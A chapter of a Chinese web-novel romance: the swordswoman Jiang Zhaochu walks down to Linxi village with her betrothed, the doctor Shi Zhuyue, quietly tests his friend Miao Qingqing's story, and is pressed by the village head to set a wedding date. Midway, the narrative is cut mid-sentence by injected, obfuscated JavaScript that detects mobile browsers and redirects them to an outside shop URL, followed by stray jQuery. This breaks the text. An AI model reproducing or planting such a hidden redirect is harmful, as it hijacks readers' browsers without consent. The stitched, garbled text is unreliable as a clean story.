江照初知晓他是想起他亡故的阿娘阿耶,拍拍他的肩膀,取出帕子给他擦拭眼泪,“我知道你的初心是好的。我并没有指责你的意思,只是希望你不要把所有事情全部担到自己身上,那样太累了。”
而且这样也会加重她的负担,她不喜欢。
“抱歉,妻主,我日后会改正的。”时逐月伸手抱住江照初的腰身,头埋在她的脖颈处。
“你无需对我道歉,你没有做任何对不起我的事情。”江照初的双手落到时逐月背上,轻轻拍着哄着他,“我只是希望你不要时刻提心吊胆的,你还是大夫呢,难道不知道忧思过度伤身体吗?”
“我知道的。”时逐月嘟囔,“多思则神殆。”
“明知故犯,逐月该为自己的身体道歉才对。”
时逐月有些羞耻,头更是紧紧往江照初的脖间去,像极了受到惊吓的穿山甲,整个人蜷缩在江照初怀里。
江照初任由时逐月“胡作非为”。
用过朝食,时逐月见天色差不多了,便提上药箱,锁好大门,牵着江照初一起往山下走去。
起初,路还好走。可渐渐地,山路见人已经深入它的地盘,便显露出它的獠牙来。一条羊肠小道,迂回曲折,时常走了几步就要拐弯。
还有杂乱的树枝肆意生长,侵占道路。一些树枝还算良善,只是出来和人打个招呼。而另一些枝条就十分可恶了,大剌剌地横亘在道路上,让人可以直接往旁边绕过它,一步来到山下。
“这竹子生长的速度真快,才几日没清理,又长到路上来了。”
时逐月熟练地解下药箱旁绑着的柴刀,将拦路的竹子砍了,堆放在路边,等回来时还能带回家当柴火烧。
“更容一夜抽千尺,这都过去数日,当然长得迅速。”江照初拎着药箱,在上方等着,她好像有些理解为何时逐月不愿意她带伤下山了。
“不过逐月每次下山都有这个烦恼吗?看着很是熟练呢。”
“或许是我在这儿住了十几年,大山舍不得我,才要屡次阻挠我下山。”时逐月开个玩笑。
出了山,又往东南方向走了一段路,方才进入临溪村的地界。
她们来到村南的一处院落,黄色的土墙围绕一周,透过竹子质地的院门可以瞧见里边茅茨土阶的屋子,院内一名男子正在砍柴。
“月郎你来了,快请进。”他抬手擦汗时,余光正好瞥见来到门口的时逐月,当即放下斧子过来开门。
他将二人迎进来,请她们进屋坐下,倒来热水。
只是他看着江照初,觉得十分陌生,“这位娘子是?”
时逐月的笑容多了几分羞涩,“这是我的妻主。”
“唤我江娘子便好。”江照初与时逐月对视一眼,接着他的话向着主人家说道。
“江娘子瞧着器宇轩昂,月郎好福气,寻得您这样好的妻主。”主人家恭维了一句。
但时逐月脸颊上已经出现了一抹淡红。
江照初没在外人面前落了时逐月的面子,虽然她不想就这样宣扬没有定数的关系,但时逐月表明,她只好笑着点头,“我也有幸,能找到逐月这样好的夫郎。”
主人家看到时逐月那副恨不得扑进江照初怀里的害羞劲,想到自己刚刚遇见妻主的那段时光,不由心生感叹。
三人又寒暄几句,时逐月便要为他看看病情恢复情况,计划下一步的治疗方案。
江照初适时地提出离开,要去村里转悠几圈,与时逐月约定好汇合时间和地点便推门而去。
“别瞧江娘子了,瞧瞧我吧月郎,该给我治病了。”主人家出声把时逐月跟着离开的魂儿叫了回来。
这边,江照初漫不经心地走着。
村里手头不忙的人,大多好奇地打量了几下这外来客,大概是在思考和讨论,江照初这样气度不凡的人,怎么会出现在这小小的村子里。
但她们也只是疑惑了一会儿,便继续干着自己的事儿去了。
江照初余光环视,注意到她们眼里的好奇。
在双方相互观察的时候,这条路上迎面走来一个戴着笠帽的人。
他本是小心挎着一个篮子,视线时不时落在篮中,又瞧瞧前边的路况,看到对面有人走来才抬头看去。
江照初回看过去,以为只是随意的一瞥,却见他突然停下,脸上闪过一丝错愕,随后洋溢着笑容,朝她打招呼,“江娘子,许久不见,你这是办完事回来了?我说小时最近怎么不来家里吃饭了呢,原来是这样。”
江照初虽然对这人毫无印象,但显然二人是相识的,而他说的事儿应是指进京控告剑南贪污官员,“是的。”
“今日怎么有空来村里,还不见小时?他不是最喜欢跟着你后头跑。”
他的语气很随意,想来与自己的关系也还不错。只是她是外来者,大多数时候又在山上养伤,能认识的村民不多,而且应该也是通过时逐月搭桥才互通姓名。
那看来是得来全不费工夫。
不过,时逐月这段时间来找过苗青青许多次,竟未曾与他说过自己回来的事情吗?
“他在给人看病,我不好过多打扰,便出来转悠转悠。”江照初回答了他的问题,“没想到恰好遇见了你,但今日下山也是突然之举,没有备上薄礼感谢你前段时间对逐月和我的照顾,下回再见一定给你补上。”
苗青青连连摆手,“江娘子说这话就见笑了,这点小事哪儿需要特意备礼。等小时和你成婚,说得亲近些,你还得管我叫一声阿兄,说那些不就生分了吗?”
“礼不可废。”江照初坚持,“那段时间若不是苗郎日日上山,逐月哪里能坚持到现在,这等大恩,叫我们筹备再厚重的礼物也是应该的。”
苗青青有些不知所措,那是对江照初要准备厚重谢礼的无措。
在他看来,他与时逐月是一同长大的好友,夸张一些甚至能称得上是手足兄弟了。
他在时逐月消沉的那段时间照顾他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744206|209201||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
、鼓励他,是作为一名兄长应当做的,本就不图回报。
“既然如此,这些事儿还是交给逐月来安排吧,他挑的谢礼或许更符合苗郎的心意。虽然我们认识也有四个月了,但肯定比不过你与逐月的情谊。”江照初见自己再试探下去,苗青青就要崩溃,便收敛了。
苗青青闻言立即猛点头,生怕江照初继续提这件事,不过他有些迟疑,“若是我没算错,江娘子来此的时间不会超过三个月吧?”
“那想来是我记错了。”
江照初低头看向那竹编篮子,“苗郎这是要去何处?”
苗青青解释道:“我妻主近日身体不大舒服。方才遇到有货郎来村里,正好有些滋补的食材,我就买来了给妻主补补身子。不过这食材要炖煮挺长时间,现在就要回家开始准备了。”
“那你快去忙吧,祝愿你的妻主早日康复。”
二人分别。
临溪村说大不大,说小也不小。
这个村子的人家不多,江照初一路走过来数了数,也就四十来座屋子,可这农田规模就是一眼望不到边。
她也不知道就这么些村民,是怎么做到将这么大的农田打理得井井有条的。
“这位娘子瞧着眼生,来我们村子有何事吗?”江照初路过一处瓦顶屋子时,一位妇人,约莫是知天命的年纪,本在树下与村民商讨着事情,瞧见江照初便叫住了她询问。
“无事,我是与时逐月一同来的,他在给村民治病,我随意逛逛。”江照初熟练地解释。
妇人闻言思索了片刻,面色恍然,“你是江照初江小娘子吧,我听月小子提过你,不过今日还是第一次见你。”
“我正是江照初,不知您是?”
“我是临溪村的村正,与你家那月小子一样,时姓。”时村正挥挥手让一旁的村民先离开,自己则是走出树荫下,拉住江照初的手将人往屋里领。
“你先坐着。”时村正将人按在椅子上,然后端来一个茶壶和两个莲花茶碗。
时村正给江照初沏了一壶茶,“你今日来得正是时候,我刚得的新茶,给你试试。若是一般人来,我可不舍得拿出来。”
时村正将茶碗推到江照初面前,水汽升腾,模糊了二人的界限。
“我也是看着月小子长大的,一眨眼,他都到了成亲的年纪。我先前还担心他找不到一个知心的妻主,如今看来,倒是我多虑了。”时村正抿了一口茶水,温和笑着,带着长辈惯有的感叹。
“你们二人准备何日举办婚礼,日子若是定下了,先与我说一声。他母父去了,你家又不在这边。我姑且算他半个长辈,可以为你们二人主持婚礼。”
江照初知晓,这是时逐月的长辈在催促她,尽快与时逐月定下关系。
“婚礼之事暂且不急,我还未备好聘礼。这到底是一辈子仅有一次的大事,我希望能给逐月留下一个美好的回忆。”江照初看着茶杯里一小片茶叶,它正在悠悠沿着茶碗边打旋。